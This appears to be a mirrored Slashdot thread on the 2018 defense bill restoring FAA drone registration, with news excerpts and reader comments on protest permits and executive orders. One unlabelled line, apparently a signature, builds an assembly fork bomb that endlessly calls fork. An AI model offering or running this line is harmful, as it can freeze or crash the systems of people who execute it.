Slashdot Mirror
Trump Signs Law Forcing Drone Users To Register With Government (thehill.com)
President Trump signed a sweeping defense policy bill into law on Tuesday that will allow the government to require recreational drone users to register their model aircraft.
This comes after a federal court ruled in May that Americans no longer have to register non-commercial drones with the Federal Aviation Administration (FAA) "because Congress had said in a previous law that the FAA can't regulate model aircraft," reports The Hill. From the report: In December 2015, the FAA issued an interim rule requiring drone hobbyists to register their recreational aircraft with the agency. The rule -- which had not been formally finalized -- requires model aircraft owners to provide their name, email address and physical address; pay a $5 registration fee; and display a unique drone ID number at all times. Those who fail to comply could face civil and criminal penalties. While Congress directed the FAA to safely integrate drones into the national airspace in a 2012 aviation law, lawmakers also included a special exemption to prevent model aircraft from being regulated. A D.C.-based appeals court cited the 2012 law in its ruling striking down the FAA drone registry, arguing that recreational drones count as model aircraft and that the registry counts as a rule or regulation.
http://www.thedrive.com/aerial...
The controversial drone policy introduced by the Federal Aviation Administration in 2015, requiring recreational drone users to registers their UAVs, was constitutionally overturned in May of this year, but it may end up being enforced again next year by being included in the upcoming National Defense Authorization Act of 2018.
According to Bloomberg, both the House and Senate agree on slipping the unmanned aerial vehicle registry into the defense bill, as demand for regulation in the drone industry is at an all-time high. Most recently, the White House expanded drone-testing regulations to presumably push toward standardizing nationwide UAV delivery. The current administration may deem a nationwide hobby-drone registration as a necessary first step toward that.
The previous policy was overturned
http://www.thedrive.com/aerial...
In 2015, the FAA officially announced that all owners of drones heavier than 250 grams (which is about as light as a cup of water) must be registered as "drone operators" in a national database. This, of course, startled some, as it seemed this regulation could mark the beginning of the end for freedom of use regarding hobby drones. Others felt it was a fair deal in the right direction, as we reported on last year. However, in a twist of turns, the District of Columbia circuit court of appeals overturned this legislation on Friday, May 19th, as its compatibility with a previous FAA ruling from 2012 is far from symbiotic.
The 2012 "FAA Modernization and Reform Act" rules that the FAA has no right to "promulgate any rule or regulation regarding a model aircraft", and as Circuit Judge Brett Kavanaugh sees it, the 2015 ruling clearly interferes with this established law. He adds, "Statutory interpretation does not get much simpler. The Registration Rule is unlawful as applied to model aircraft." Essentially, recreational drone users have been exempted from the aforementioned registry, which according to Popular Science, over 800,000 people have joined since 2015. This is something we at The Drive keep a close eye on, and an issue we regularly report on.
So Congress put a paragraph into the 2018 NDAA to restore registration
https://www.bloomberg.com/news...
The U.S. Court of Appeals in Washington overturned the FAA drone registration system in May, finding that earlier legislation passed in 2012 didn't give the agency legal authority for it. A one-paragraph addition to the defense bill said that the registration system "shall be restored" as soon as the legislation becomes law.
https://www.congress.gov/bill/...
(d) Restoration Of Rules For Registration And Marking Of Unmanned Aircraft.-The rules adopted by the Administrator of the Federal Aviation Administration in the matter of registration and marking requirements for small unmanned aircraft (FAA-2015-7396; published on December 16, 2015) that were vacated by the United States Court of Appeals for the District of Columbia Circuit in Taylor v. Huerta (No. 15-1495; decided on May 19, 2017) shall be restored to effect on the date of enactment of this Act.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
The passage of the law just allows the FAA to issue such a rule. It could be that under Trump they would not do so after all... this could be a case where a petition might do some good.
Remember the original rule was instituted by the Obama FAA.
"There is more worth loving than we have strength to love." - Brian Jay Stanley
Are Free Speech Zones purely local or state level legislation then?
It depends on which entity is responsible for the physical location where an event is being held. Let's say we're talking about one of the usual high-profile ones, like the parade and other large gatherings associated with presidential inaugurations. An event that one group or another always wants to disrupt, to make it about their thing, rather than about the inauguration. The grounds where these events take place are a patchwork of the city of the District of Columbia (handled by DC's own metro police), the National Park Service (a piece of the Dept of the Interior, a federal agency, policed by Park Police), and then places like the grounds of Capitol building, which is policed by the Capitol Police. Lots of different entities.
In each case, the entity holding the event makes arrangements with all of those jurisdictions to reserve the space for what's going to happen (a parade, a speech, etc). For that, they get a permit. They also pay a lot for the extra cost of policing those areas so that traffic is controlled, so that people can't run out in the middle of the street and blockade a parade, etc. The "free speech zones" are areas outside of the areas that have been booked, reserved, and paid for by the entity holding the event. The people who want to organize a large group of disrupters/protesters to take over the event are indeed kept, physically, by fences and by police if necessary, from doing so. Why? Because THEY GET EXACTLY THAT SAME PROTECTION when they make arrangements and carry the costs to close the street and parks and make them secure for their own event, safe from the heckler's veto of some other group that wants to wreck their event the same way they want to wreck someone else's on a different day.
Protesters aren't corralled out of the site of dignitaries, they're kept from being able to use force (of numbers, blocking streets and destroying things) to shut down an event they didn't organize. When they want to organize something with exactly the same level of effort, they'll get the exact same level of protection. This has nothing to do with run-of-the-mill standing around on a street corner holding up a sign that says the End Is Near or Eat The Rich or whatever. This is about denying one group the opportunity to veto another group's carefully arranged public event by simply using chaos. That's what permits are for when putting together large events in public spaces - so there can be some safety and care in how it plays out. Every group applying to use a public space gets the same consideration and protection from outside groups that want to shut them down by physically invading that reserved, permitted space.
Don't disappoint your bird dog. Go to the range.
That's already very well covered. Mount a gun on your aircraft and you are set up to earn yourself a federal felony. Period.
Don't disappoint your bird dog. Go to the range.
It's not and never was the number of Executive orders he signed. It was the nature of the EO's he signed. Where prior Presidents restricted their use of EO's to their designed purpose. Which is to instruct the agencies of the Executive branch on how to implement laws passed by Congress. President Obama couldn't get congress to do what he wanted even during the first two years when the Dems controlled both houses, so he tried to use the EO to go around Congress. To legislate via fiat, and change the laws without congressional approval. That is where he went wrong, repeatedly.
Yes many prior Presidents signed far more EO's but none abused that power like Obama. Trump is using them heavily in a similar manner but mostly so far to undue Obama's over-reaching EO's. The jury is still out on how Trump will do with EO's, he could very easily try to continue the Obama Style of using the Fiat of the EO to legislate where congress will not act. But so far he has not done so. And if he does, the blame for starting such style of administrative abuses falls squarely at the feet of Obama.
I'm too lazy to compose a creative sig.